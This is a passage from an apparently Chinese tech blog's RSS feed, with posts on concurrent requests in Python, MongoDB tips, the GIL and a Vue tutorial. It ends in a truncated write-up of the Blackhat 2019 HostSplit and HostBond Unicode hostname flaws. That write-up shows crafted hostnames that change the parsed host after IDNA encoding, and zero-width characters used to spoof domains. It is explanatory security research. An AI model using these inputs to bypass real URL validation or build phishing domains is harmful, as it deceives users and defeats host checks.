&lt;a href=&quot;https://www.0akarma.com/tags/Perception&quot; rel=&quot;nofollow&quot;&gt;https://www.0akarma.com/tags/Perception&lt;/a&gt;
&lt;a href=&quot;https://www.0akarma.com/tags/About&quot; rel=&quot;nofollow&quot;&gt;https://www.0akarma.com/tags/About&lt;/a&gt;
&lt;a href=&quot;https://www.0akarma.com/sccc-2019.html&quot; rel=&quot;nofollow&quot;&gt;https://www.0akarma.com/sccc-2019.html&lt;/a&gt;
&lt;a href=&quot;https://www.0akarma.com/magic-ctfd.html&quot; rel=&quot;nofollow&quot;&gt;https://www.0akarma.com/magic-ctfd.html&lt;/a&gt;
&lt;a href=&quot;https://www.0akarma.com/BlueWhale-pwn.html&quot; rel=&quot;nofollow&quot;&gt;https://www.0akarma.com/BlueWhale-pwn.html&lt;/a&gt;
&lt;a href=&quot;https://www.0akarma.com/yzmcms-audit.html&quot; rel=&quot;nofollow&quot;&gt;https://www.0akarma.com/yzmcms-audit.html&lt;/a&gt;
&lt;a href=&quot;https://www.0akarma.com/Nginx-VulnConfig.html&quot; rel=&quot;nofollow&quot;&gt;https://www.0akarma.com/Nginx-VulnConfig.html&lt;/a&gt;
&lt;a href=&quot;https://www.0akarma.com/code-breaking-2018.html&quot; rel=&quot;nofollow&quot;&gt;https://www.0akarma.com/code-breaking-2018.html&lt;/a&gt;
&lt;a href=&quot;https://www.0akarma.com/35c3-POST.html&quot; rel=&quot;nofollow&quot;&gt;https://www.0akarma.com/35c3-POST.html&lt;/a&gt;
&lt;a href=&quot;https://www.0akarma.com/fireshell-2019.html&quot; rel=&quot;nofollow&quot;&gt;https://www.0akarma.com/fireshell-2019.html&lt;/a&gt;
&lt;a href=&quot;https://www.0akarma.com/lctf-2018%0A.html&quot; rel=&quot;nofollow&quot;&gt;https://www.0akarma.com/lctf-2018%0A.html&lt;/a&gt;
&lt;a href=&quot;https://www.0akarma.com/0ak-blog.html&quot; rel=&quot;nofollow&quot;&gt;https://www.0akarma.com/0ak-blog.html&lt;/a&gt;
&lt;a href=&quot;https://www.0akarma.com/php-dangerfuncs.html&quot; rel=&quot;nofollow&quot;&gt;https://www.0akarma.com/php-dangerfuncs.html&lt;/a&gt;
&lt;a href=&quot;https://www.0akarma.com/hctf-2018.html&quot; rel=&quot;nofollow&quot;&gt;https://www.0akarma.com/hctf-2018.html&lt;/a&gt;
&lt;a href=&quot;https://www.0akarma.com/SSRF.html&quot; rel=&quot;nofollow&quot;&gt;https://www.0akarma.com/SSRF.html&lt;/a&gt;
&lt;a href=&quot;https://www.0akarma.com/xxe-learning.html&quot; rel=&quot;nofollow&quot;&gt;https://www.0akarma.com/xxe-learning.html&lt;/a&gt;
&lt;a href=&quot;https://www.0akarma.com/HR-audit.html&quot; rel=&quot;nofollow&quot;&gt;https://www.0akarma.com/HR-audit.html&lt;/a&gt;
&lt;a href=&quot;https://www.0akarma.com/ArbFileUpload.html&quot; rel=&quot;nofollow&quot;&gt;https://www.0akarma.com/ArbFileUpload.html&lt;/a&gt;
&lt;a href=&quot;https://www.0akarma.com/hexo-vps.html&quot; rel=&quot;nofollow&quot;&gt;https://www.0akarma.com/hexo-vps.html&lt;/a&gt;
&lt;a href=&quot;https://www.0akarma.com/docker-website.html&quot; rel=&quot;nofollow&quot;&gt;https://www.0akarma.com/docker-website.html&lt;/a&gt;
&lt;a href=&quot;https://www.0akarma.com/flicks?page=2&quot; rel=&quot;nofollow&quot;&gt;https://www.0akarma.com/flicks?page=2&lt;/a&gt;
&quot;&quot;&quot;

def fetch_url(url):
    requests.get(url)
    # print(&quot;{} -- {}&quot;.format(os.getpid(),gevent.getcurrent()))

def gevent_func(x):
    num = 3
    p = pool.Pool(num)
    for url in url_lists.split(&quot;\n&quot;):
        p.spawn(fetch_url, url)

if __name__ == &#x27;__main__&#x27;:
    start_time = time.time()
    num = 3
    pool = Pool(processes=num)
    for i in range(num):
        pool.apply_async(gevent_func, (i,))
    pool.close()
    pool.join()
    end_time = time.time()
    run_time = end_time - start_time
    print(&quot;Spend: %s&quot; % run_time)

# Output:
# async
Spend: 7.983597040176392
# sync
Spend: 23.319398164749146&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;当然如果懒的话，还可以直接用&lt;code&gt;gevent&lt;/code&gt;开发者包装好的&lt;code&gt;grequests&lt;/code&gt;，非常简单。&lt;/p&gt;
&lt;h2 id=&quot;_7&quot;&gt;生产者+消费者&lt;/h2&gt;
&lt;p&gt;如果上面的都解决不了需求的话，那就老老实实上生产者消费者模型吧。&lt;/p&gt;</description>
    <pubDate>Mon, 09 Mar 2020 12:59:05 +0800</pubDate>
  </item>
  <item>
    <title>
      大数据情景下Mongodb数据查询/清洗坑点汇总
    </title>
    <link>https://www.0akarma.com/mongo-tricks.html</link>
    <description>&lt;h2 id=&quot;_1&quot;&gt;建立索引&lt;/h2&gt;
&lt;p&gt;建议加上&lt;code&gt;{&quot;background&quot;:1}&lt;/code&gt;避免读写锁的产生，导致数据库长时间无响应&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;db.collection.createIndex({&quot;ip&quot;:1,&quot;port&quot;:1,&quot;timestamp&quot;:1},{&quot;background&quot;:1})&lt;/code&gt;&lt;/pre&gt;


&lt;h2 id=&quot;_2&quot;&gt;数据查询&lt;/h2&gt;
&lt;h3 id=&quot;_3&quot;&gt;聚合查询&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;$sample&lt;/code&gt;和&lt;code&gt;$limit&lt;/code&gt;有啥区别？&lt;/p&gt;
&lt;p&gt;&lt;code&gt;$limit&lt;/code&gt;是取collection中固定顺序（并不是随机）的若干条数据，而&lt;code&gt;$sample&lt;/code&gt;则是随机返回若干条数据，但是有两种情况：&lt;br&gt;
&lt;em&gt; $sample 处于聚合管道的第一阶段；&lt;br&gt;
&lt;/em&gt; N 小于Collection中的文档数量的 5% ;&lt;br&gt;
* Collection中的文档数量大于 100；&lt;/p&gt;
&lt;p&gt;当满足上面三个要求的时候，&lt;code&gt;$sample&lt;/code&gt;将通过伪随机的游标来获取记录。当任一条件不满足时，&lt;code&gt;$sample&lt;/code&gt;将进行集合扫描，并通过随机排序来选择相应的 N 条记录。&lt;/p&gt;
&lt;p&gt;当如果数据集合大于&lt;code&gt;100M&lt;/code&gt;的时候建议用&lt;code&gt;{&quot;allowDiskUse&quot;:true}&lt;/code&gt;解除内存限制。&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;db.collection.aggregate([
{ &quot;$sample&quot;: { &quot;size&quot;: 1000 } },
{ &quot;$match&quot;: { &quot;asn_code&quot;: &quot;&quot; }},
{ &quot;$group&quot;: { &quot;_id&quot;: &quot;$ip&quot; } 
}])&lt;/code&gt;&lt;/pre&gt;


&lt;h3 id=&quot;_4&quot;&gt;流加载&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;MongoDB will stream batched results to the client without waiting for the client to request each batch, reducing latency.&lt;br&gt;
文档上的解释是结果会以流式返回，但是经过测试发现，在小数据情况下，直接用默认的&lt;code&gt;NON_TAILABLE&lt;/code&gt;和&lt;code&gt;EXHAUST&lt;/code&gt;速度区别不大；然鹅在大数据的情况下，流式加载的速度反而会比默认的慢，就有点鸡肋，所以不建议使用这种方式。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;cursors = collection.find({&quot;asn_code&quot;: &quot;&quot;, &quot;asn_name&quot;: &quot;&quot;}, {&quot;_id&quot;: 0, &quot;ip&quot;: 1}, cursor_type=pymongo.cursor.CursorType.EXHAUST, batch_size=500, no_cursor_timeout=True)&lt;/code&gt;&lt;/pre&gt;


&lt;h3 id=&quot;objectid&quot;&gt;ObjectId&lt;/h3&gt;
&lt;p&gt;专业选手应该都学会先翻阅文档：&lt;a href=&quot;https://docs.mongodb.com/manual/reference/method/ObjectId/&quot; rel=&quot;nofollow&quot;&gt;ObjectId&lt;/a&gt;&lt;br&gt;
ObjectId = epoch时间(4字节) + 机器标识(3字节) + 进程号PID(2字节) + 计数器(3字节)&lt;/p&gt;
&lt;p&gt;所以如果要将ObjectId格式化成时间的话，就可以用下面这个函数&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;def id2time(object_id):
    timeStamp = int(object_id[:8], 16)
    return time.strftime(&quot;%Y-%m-%d %H:%M:%S&quot;, time.localtime(timeStamp))&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;如果需要对库中的数据进行清洗，那就可以按照&lt;code&gt;insert&lt;/code&gt;时间分片查询，避免服务器&lt;code&gt;内存&lt;/code&gt;不足或者数据量太大导致查询缓慢，经过测试，基于&lt;code&gt;ObjectId&lt;/code&gt;索引的查询会比我们自己创建的索引速度快上不少，而且可以分片，减轻服务器压力。&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;from bson.objectid import ObjectId
per = 30
to_time = datetime.datetime.utcnow()
from_time = to_time - datetime.timedelta(minutes=per)

db.collection.find({&#x27;_id&#x27;: {&#x27;$gt&#x27;: ObjectId.from_datetime(from_time), &#x27;$lte&#x27;:ObjectId.from_datetime(to_time)}})&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;因为mongodb是基于&lt;code&gt;cursor&lt;/code&gt;的，所以就算你在大集合下，你用一个&lt;code&gt;find({})&lt;/code&gt;，依然不会把你的内存塞满，而是一个个遍历下去，只是对于机子性能比较捉急的，可能就会出现假死的现象，所以用不用&lt;code&gt;ObjectId&lt;/code&gt;来分类就见仁见智啦。&lt;/p&gt;
&lt;h2 id=&quot;_5&quot;&gt;数据迁移&lt;/h2&gt;
&lt;p&gt;数据转移的常规方法就是把老库的数据全都遍历一遍，但是呢单gevent协程不够暴力，那就加个多进程，直接起飞……&lt;/p&gt;
&lt;p&gt;但是如果你的数据是有增量的，那就可以用监听&lt;code&gt;CursorType.TAILABLE_AWAIT&lt;/code&gt;来完成同步/异步迁移&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;import time
import pymongo

client = pymongo.MongoClient(host=uri)

oplog = &lt;a href=&quot;http://client.local.oplog.rs&quot; rel=&quot;nofollow&quot;&gt;client.local.oplog.rs&lt;/a&gt;
first = oplog.find().sort(&#x27;$natural&#x27;, pymongo.ASCENDING).limit(-1).next()

ts = first[&#x27;ts&#x27;]

while True:
    cursor = oplog.find({&#x27;ts&#x27;: {&#x27;$gt&#x27;: ts}},
                        cursor_type=pymongo.CursorType.TAILABLE_AWAIT,
                        oplog_replay=True)
    while cursor.alive:
        for doc in cursor:
            print(doc)
            if doc[&#x27;op&#x27;] == &#x27;i&#x27; and doc[&#x27;o&#x27;] == &#x27;my_collection&#x27;:
                # blablabla     
        time.sleep(1)&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;简单的介绍一下&lt;code&gt;oplog&lt;/code&gt;的语义，如果想更高级的利用的话，自己看文档嗷。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;ts: 时间戳&lt;/li&gt;
&lt;li&gt;op: 操作类型&lt;ul&gt;
&lt;li&gt;&quot;i&quot;: insert&lt;/li&gt;
&lt;li&gt;&quot;u&quot;: update&lt;/li&gt;
&lt;li&gt;&quot;d&quot;: delete&lt;/li&gt;
&lt;li&gt;&quot;c&quot;: command&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&quot;ns&quot;: 操作所在的namespace，通常为&lt;code&gt;数据库名.集合名&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&quot;o&quot;: 当前操作的内容&lt;/li&gt;
&lt;li&gt;&quot;o2&quot;: 在执行更新时的&lt;code&gt;where&lt;/code&gt;条件，当&lt;code&gt;op&lt;/code&gt;是&lt;code&gt;u&lt;/code&gt;时才有&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;_6&quot;&gt;数据清洗&lt;/h2&gt;
&lt;p&gt;因为一开始数据库没有设多字段索引唯一，所以在高并发下导致有若干重复数据写入，还是要写个脚本给他洗个澡。&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;pipeline = [
    { &quot;$group&quot;: { &quot;_id&quot;: {&quot;ip&quot;:&quot;$ip&quot;,&quot;port&quot;:&quot;$port&quot;,&quot;time&quot;:&quot;$time&quot;}, &quot;count&quot;:{&quot;$sum&quot;: 1}, &quot;dups&quot;: {&quot;$addToSet&quot;: &#x27;$_id&#x27;}} },
    { &quot;$match&quot;: { &quot;count&quot;: {&quot;$gt&quot;: 1}}}
]

map_id = map(lambda doc: doc[&#x27;dups&#x27;][1:], collection.aggregate(pipeline=pipeline,allowDiskUse=True))
list_id = [item for sublist in map_id for item in sublist]

for _id in list_id:
    print(collection.delete_one({&quot;_id&quot;:_id}))&lt;/code&gt;&lt;/pre&gt;


&lt;h2 id=&quot;_7&quot;&gt;查询语句优化&lt;/h2&gt;
&lt;p&gt;利用&lt;code&gt;explain()&lt;/code&gt;可以查看查询语句的各个阶段的执行状态，从而进行查询语句的速度优化。&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;db.shodan_stream_official.explain(&quot;executionStats&quot;).aggregate( [
     { $match: { &quot;asn&quot;: &quot;&quot;, &quot;org&quot;:&quot;&quot; } },
   { $group: { _id: &quot;$ip&quot; } }
],{&quot;allowDiskUse&quot;:true})&lt;/code&gt;&lt;/pre&gt;</description>
    <pubDate>Sat, 07 Mar 2020 12:34:50 +0800</pubDate>
  </item>
  <item>
    <title>
      Python进阶——什么是Python GIL？
    </title>
    <link>https://www.0akarma.com/python-gil.html</link>
    <description>&lt;h2 id=&quot;_1&quot;&gt;背景&lt;/h2&gt;
&lt;p&gt;Global Interpreter Lock（GIL）从字面意思他就是&lt;code&gt;全局解释器锁&lt;/code&gt;，所以不要不经脑子就说他是&lt;code&gt;Python&lt;/code&gt;的特性，他只是&lt;code&gt;Cpython&lt;/code&gt;解释器的一个概念。只是现在大部分人用的都是Cpython的Python，所以才会被大部分人误会。&lt;/p&gt;
&lt;h2 id=&quot;_2&quot;&gt;并发与并行&lt;/h2&gt;
&lt;p&gt;当代码逻辑完成了需求之后，总会想各种办法来解决速度慢的问题，那么首先来分清楚两个概念，即&lt;code&gt;并发&lt;/code&gt;与&lt;code&gt;并行&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;并发指的是一个CPU交替执行多个问题，并行指的是多个CPU同时执行任务。&lt;/p&gt;
&lt;p&gt;虽然从感觉上都是“同时”执行，但实际上，并发是因为CPU执行速度快，人为上感受不到延迟，而并行才是真正意义上的“并发”。&lt;/p&gt;
&lt;h2 id=&quot;gil&quot;&gt;GIL是好还是坏？&lt;/h2&gt;
&lt;p&gt;GIL是因为在语言开发之初，开发者只考虑到单核CPU，但是随着Python的发展，代码量越来越多，所以这在多年Python迭代中也没能很好的解决这个问题。&lt;/p&gt;
&lt;p&gt;在单线程的情况下，GIL无疑是好的，因为能帮助用户控制线程安全，用户只需要关注代码逻辑本身，而在多线程的情况下呢，因为有GIL的存在，一个线程只有在拿到GIL锁时才会执行任务，其余线程都处于阻塞状态，这就导致多线程几乎就是单线程。&lt;/p&gt;
&lt;p&gt;到了这，就到了下一个需要探讨的话题了，什么时候用多进程，什么时候用多线程&lt;/p&gt;
&lt;p&gt;通俗的来讲，&lt;code&gt;计算密集型&lt;/code&gt;多用多进程，因为能充分的利用多核CPU的优势，加快程序执行&lt;/p&gt;
&lt;p&gt;&lt;code&gt;IO密集型&lt;/code&gt;多用多线程，因为在IO密集型的情况下，你无论开多个进程依旧需要阻塞等待，使用多线程就能通过切换来执行任务，当然协程也是一个不错的替代品&lt;/p&gt;
&lt;h2 id=&quot;gil_1&quot;&gt;GIL能否规避？&lt;/h2&gt;
&lt;p&gt;想合理的规避GIL，让程序直接压榨电脑性能，提高效率，只需要&lt;br&gt;
&lt;em&gt; 多进程 + 协程&lt;br&gt;
    * 这个是比较简单也是比较方便的做法，因为多进程后每个进程都是独立的，都有独立的GIL锁，然后再加上协程自动调度任务，就可以比较完美的规避GIL的影响了&lt;br&gt;
&lt;/em&gt; 更换解释器&lt;br&gt;
    * 这个做法不是十分推荐，毕竟我们大部分人用的都是CPython，换了解释器可能就捡了芝麻丢了西瓜&lt;/p&gt;</description>
    <pubDate>Sun, 01 Mar 2020 14:08:06 +0800</pubDate>
  </item>
  <item>
    <title>
      Vue 入坑指南
    </title>
    <link>https://www.0akarma.com/vue-learning.html</link>
    <description>&lt;h2 id=&quot;_1&quot;&gt;环境配置&lt;/h2&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-zsh&quot;&gt;brew install node
npm install vue -g --registry=&lt;a href=&quot;https://registry.npm.taobao.org&quot; rel=&quot;nofollow&quot;&gt;https://registry.npm.taobao.org&lt;/a&gt;
npm install webpack -g --registry=&lt;a href=&quot;https://registry.npm.taobao.org&quot; rel=&quot;nofollow&quot;&gt;https://registry.npm.taobao.org&lt;/a&gt;&lt;/code&gt;&lt;/pre&gt;


&lt;h2 id=&quot;demo&quot;&gt;基础 —— 手撸Demo&lt;/h2&gt;
&lt;h3 id=&quot;todolist&quot;&gt;TodoList&lt;/h3&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;!--
 * @Author: 0aKarmA_骅文
 * @Date: 2020-02-29 16:46:24
 * @LastEditors  : 0aKarmA
 * @LastEditTime : 2020-02-29 18:05:06
 * @Description: file content
 --&amp;gt;
&amp;lt;html&amp;gt;
&amp;lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=utf-8&quot; /&amp;gt;
&amp;lt;body&amp;gt;
&amp;lt;script src=&quot;&lt;a href=&quot;https://cdn.jsdelivr.net/npm/vue/dist/vue.js&quot; rel=&quot;nofollow&quot;&gt;https://cdn.jsdelivr.net/npm/vue/dist/vue.js&lt;/a&gt;&quot;&amp;gt;&amp;lt;/script&amp;gt;
&amp;lt;style&amp;gt;
 .todo {
    list-style: none;
 }
 .finished {
    text-decoration: line-through;
 }
&amp;lt;/style&amp;gt;
&amp;lt;div id=&quot;app&quot;&amp;gt;
    &amp;lt;p&amp;gt;Ez Todo List&amp;lt;/p&amp;gt;
    &amp;lt;!-- 
        绑定表单，值动态改变 
        监听回车键，提交
    --&amp;gt;
    &amp;lt;input type=&quot;text&quot; placeholder=&quot;add a todo&quot; autofocus
        v-model=&quot;todos.content&quot; 
        @keydown.enter=&quot;addTodo&quot;
    &amp;gt;
    &amp;lt;ul&amp;gt;
        &amp;lt;!-- 遍历list输出内容 --&amp;gt;
        &amp;lt;li v-for=&#x27;(todo,index) in list&#x27; :key=&#x27;index&#x27;&amp;gt;
            &amp;lt;!-- 监听点击，添加元素 --&amp;gt;
            &amp;lt;input type=&#x27;checkbox&#x27; :check=&quot;todos.finished&quot; @click=&quot;changeStatus(index)&quot;&amp;gt;
            &amp;lt;!-- 若已完成，则添加finished的class帮助前端展示 --&amp;gt;
            &amp;lt;span :class=&quot;{&#x27;finished&#x27;:todo.finished}&quot;&amp;gt;{{ todo.content }}&amp;lt;/span&amp;gt;
            &amp;lt;!-- 监听点击，删除元素 --&amp;gt;
            &amp;lt;button @click=&quot;delTodo(index)&quot;&amp;gt;delete&amp;lt;/button&amp;gt;
        &amp;lt;/li&amp;gt;
    &amp;lt;/ul&amp;gt;
    &amp;lt;p v-if=&#x27;list.length===0&#x27;&amp;gt;Empty Todo List&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;script&amp;gt;
var app = new Vue({
  el: &#x27;#app&#x27;,
  data: {
    todos: {
        content: &#x27;&#x27;,
        finished: false
    },
    list: []
  },
  methods: {
    addTodo() {
        // 将当前元素压入数组
        this.list.push(this.todos);
        // 清空当前元素，供下个元素使用
        this.todos={
            content: &#x27;&#x27;, //初始化内容为空，不能省略
            finished: false //未完成
        }
    },
    changeStatus(index) {
        let c = this.list[index].finished;
        this.list[index].finished = !c;
    },
    delTodo(index) {
        this.list.splice(index,1);
    }
  }
})
&amp;lt;/script&amp;gt;

&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;&lt;/code&gt;&lt;/pre&gt;


&lt;h2 id=&quot;vue-router&quot;&gt;进阶 —— Vue-router&lt;/h2&gt;
&lt;h2 id=&quot;_2&quot;&gt;资料&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://zhuanlan.zhihu.com/p/23134551&quot; rel=&quot;nofollow&quot;&gt;新手向：Vue 2.0 的建议学习顺序&lt;/a&gt;&lt;/p&gt;</description>
    <pubDate>Sat, 29 Feb 2020 05:47:02 +0800</pubDate>
  </item>
  <item>
    <title>
      Host-Series Vulnerability - Blackhat 2019
    </title>
    <link>https://www.0akarma.com/host-series-vulns.html</link>
    <description>&lt;h2 id=&quot;background&quot;&gt;Background&lt;/h2&gt;
&lt;p&gt;Unicode -&amp;gt; ASCII 要经过两个过程&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;格式化（标准化字符）&lt;/li&gt;
&lt;li&gt;微小的编码（将Unicode转换成ASCII）&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&quot;normalization&quot;&gt;格式化(Normalization)&lt;/h3&gt;
&lt;p&gt;将多个类似的Unicode字符统一格式化成另一个Unicode字符&lt;br&gt;
&lt;code&gt;hostname&lt;/code&gt;中任意的Unicode字符都会转换成&lt;code&gt;Compatibility Composition(KC)&lt;/code&gt;格式。因为Unicode字符的不同组合都会影响到视觉上的一些含义，这一步统一格式化操作是为了保证hostname中的字符能唯一的双向渲染出来。&lt;br&gt;
&lt;img alt=&quot;WX20191003-105155@2x_shrink&quot; src=&quot;/api/download/WX20191003-1051552x_shrink.png&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;punycoding&quot;&gt;微小的编码(Punycoding)&lt;/h3&gt;
&lt;p&gt;将Unicode编码转换成ASCII码&lt;br&gt;
经过上一步的格式化操作后，就可以用&lt;code&gt;Punycode&lt;/code&gt;把Unicode字符变成由&lt;code&gt;ASCII Compatible Encoding Prefix(xn--)&lt;/code&gt;、原始顺序的字符、一连串的ASCII字符组成的重构符（用于给机器重构出原来的non-ascii字符部分）&lt;br&gt;
&lt;img alt=&quot;WX20191003-124224@2x_shrink&quot; src=&quot;/api/download/WX20191003-1242242x_shrink.png&quot;&gt;&lt;br&gt;
这种转化其实有点像中文域名在url中的处理方式  &lt;/p&gt;
&lt;p&gt;此外，ASCII -&amp;gt; Unicode 也只需要将punycoding逆向进行一次即可得到。&lt;/p&gt;
&lt;h3 id=&quot;idna&quot;&gt;三种IDNA标准&lt;/h3&gt;
&lt;p&gt;IDNA2003 / IDNA2008 / IDNA2008 + UTS46&lt;br&gt;
每一个标准都允许不同格式的Unicode字符和定义了不同的格式化规则&lt;/p&gt;
&lt;h2 id=&quot;the-hostsplit-vulnerability&quot;&gt;The HostSplit Vulnerability&lt;/h2&gt;
&lt;p&gt;当Unicode字符能直接格式化成合法的ASCII字符时，就不用经过&lt;code&gt;Punycode&lt;/code&gt;转换了，但是这种情况下可能就会出现漏洞点了。&lt;br&gt;
&lt;img alt=&quot;&quot; src=&quot;/api/download/15714688156081.jpg&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;java&quot;&gt;Java&lt;/h3&gt;
&lt;p&gt;&lt;img alt=&quot;WX20191019-153311@2x_shrink&quot; src=&quot;/api/download/WX20191019-1533112x_shrink.png&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;python&quot;&gt;Python&lt;/h3&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&amp;gt;&amp;gt;&amp;gt; from urllib.parse import urlsplit, urlunsplit
&amp;gt;&amp;gt;&amp;gt; url = &#x27;http://0akarma.c℀.com/some.txt&#x27;
&amp;gt;&amp;gt;&amp;gt; url
&#x27;http://0akarma.c℀.com/some.txt&#x27;
&amp;gt;&amp;gt;&amp;gt; parts = list(urlsplit(url))
&amp;gt;&amp;gt;&amp;gt; host = parts[1]
&amp;gt;&amp;gt;&amp;gt; host
&#x27;0akarma.c℀.com&#x27;
&amp;gt;&amp;gt;&amp;gt; newhost = []
&amp;gt;&amp;gt;&amp;gt; for h in host.split(&#x27;.&#x27;):
...     newhost.append(h.encode(&#x27;idna&#x27;).decode(&#x27;utf-8&#x27;))
...
&amp;gt;&amp;gt;&amp;gt; parts[1] = &#x27;.&#x27;.join(newhost)
&amp;gt;&amp;gt;&amp;gt; finalUrl = urlunsplit(parts)
&amp;gt;&amp;gt;&amp;gt; finalUrl
&#x27;&lt;a href=&quot;http://0akarma.ca/c.com/some.txt&#x27;&quot; rel=&quot;nofollow&quot;&gt;http://0akarma.ca/c.com/some.txt&#x27;&lt;/a&gt;
&amp;gt;&amp;gt;&amp;gt;&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;从example可以看到，特定的unicode字符经过&lt;code&gt;.encode(&#x27;idna&#x27;).decode(&#x27;utf-8&#x27;)&lt;/code&gt;会转换成合法的ASCII字符，而无需经过&lt;code&gt;Punycoding&lt;/code&gt;，这样就  &lt;/p&gt;
&lt;p&gt;另一个变种就是&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&amp;gt;&amp;gt;&amp;gt; from urllib.parse import urlparse
&amp;gt;&amp;gt;&amp;gt; r=&#x27;&lt;a href=&quot;http://bing.com&quot; rel=&quot;nofollow&quot;&gt;http://bing.com&lt;/a&gt;&#x27;+u&#x27;\uFF03&#x27;+&#x27;:password@products.office.com&#x27;
&amp;gt;&amp;gt;&amp;gt; o = urlparse(r)
&amp;gt;&amp;gt;&amp;gt; o.hostname
&#x27;&lt;a href=&quot;http://products.office.com&quot; rel=&quot;nofollow&quot;&gt;products.office.com&lt;/a&gt;&#x27;
&amp;gt;&amp;gt;&amp;gt; a = r.encode(&quot;IDNA&quot;).decode(&quot;ASCII&quot;)
&amp;gt;&amp;gt;&amp;gt; a
&#x27;&lt;a href=&quot;http://bing.com&quot; rel=&quot;nofollow&quot;&gt;http://bing.com&lt;/a&gt;#:password@products.office.com&#x27;
&amp;gt;&amp;gt;&amp;gt; o = urlparse(a)
&amp;gt;&amp;gt;&amp;gt; o.hostname
&#x27;&lt;a href=&quot;http://bing.com&quot; rel=&quot;nofollow&quot;&gt;bing.com&lt;/a&gt;&#x27;&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;这个点其实&lt;code&gt;Zedd&lt;/code&gt;师傅已经在&lt;a href=&quot;https://github.com/team-su/SUCTF-2019/tree/master/Web/pythonginx&quot; rel=&quot;nofollow&quot;&gt;SUCTF2019&lt;/a&gt;率先出了个题了～&lt;/p&gt;
&lt;h2 id=&quot;the-hostbond-vulnerability&quot;&gt;The HostBond Vulnerability&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;IDNA2008&lt;/code&gt;允许Unicode转ASCII时使用&lt;code&gt;\u200D&lt;/code&gt;(Zero-Width- Non-Joiner)和&lt;code&gt;\u200c&lt;/code&gt;(Zero-Width Non-Joiner)，所以如果有一个hostname长的像这样&lt;code&gt;&#x27;0a&#x27; + \u200D + &#x27;&lt;a href=&quot;http://karma.com&quot; rel=&quot;nofollow&quot;&gt;karma.com&lt;/a&gt;&#x27;&lt;/code&gt;，那它经过处理之后就会变成&lt;code&gt;&lt;a href=&quot;http://xn--0akarma-469d.com&quot; rel=&quot;nofollow&quot;&gt;xn--0akarma-469d.com&lt;/a&gt;&lt;/code&gt;这样的punnycode，但是如果我们将这样的punnycode经过A-labels到U-labels的转换时，你就会发现hostname变成了&lt;code&gt;&lt;a href=&quot;http://0akarma.com&quot; rel=&quot;nofollow&quot;&gt;0akarma.com&lt;/a&gt;&lt;/code&gt;，中间那个&lt;code&gt;\u200D&lt;/code&gt;不可见了（其实他还在，只是看不到）。这样就会导致&lt;code&gt;HostBond&lt;/code&gt;漏洞的出现。&lt;br&gt;
这样可以造成的后果包括但不限于：&lt;br&gt;
&lt;em&gt; 用户无法用肉眼去分别url，容易被钓鱼网站利用&lt;br&gt;
&lt;/em&gt; 如果服务端存在&lt;code&gt;ASCII&lt;/code&gt;-&amp;gt;&lt;code&gt;Unicode&lt;/code&gt;-&amp;gt;&lt;code&gt;ASCII&lt;/code&gt;的处理逻辑，经过&lt;code&gt;HostBond&lt;/code&gt;可以达到绕过目的&lt;/p&gt;
&lt;h2 id=&quot;best-practices&quot;&gt;Best Practices&lt;/h2&gt;
&lt;h3 id=&quot;hostsplit&quot;&gt;如何发现HostSplit&lt;/h3&gt;
&lt;p&gt;原作者给了两种方式，一种是在hostname中加入可以跳过Punnycode编码的字符，然后利用dns查询通过判断返回结果来确定是否存在该漏洞，eg:&lt;code&gt;http://canada.c℀.bing.com&lt;/code&gt;，如果dns查询结果为&lt;code&gt;&lt;a href=&quot;http://canada.ca&quot; rel=&quot;nofollow&quot;&gt;canada.ca&lt;/a&gt;&lt;/code&gt;则代表存在该漏洞，反之则不存在。&lt;br&gt;
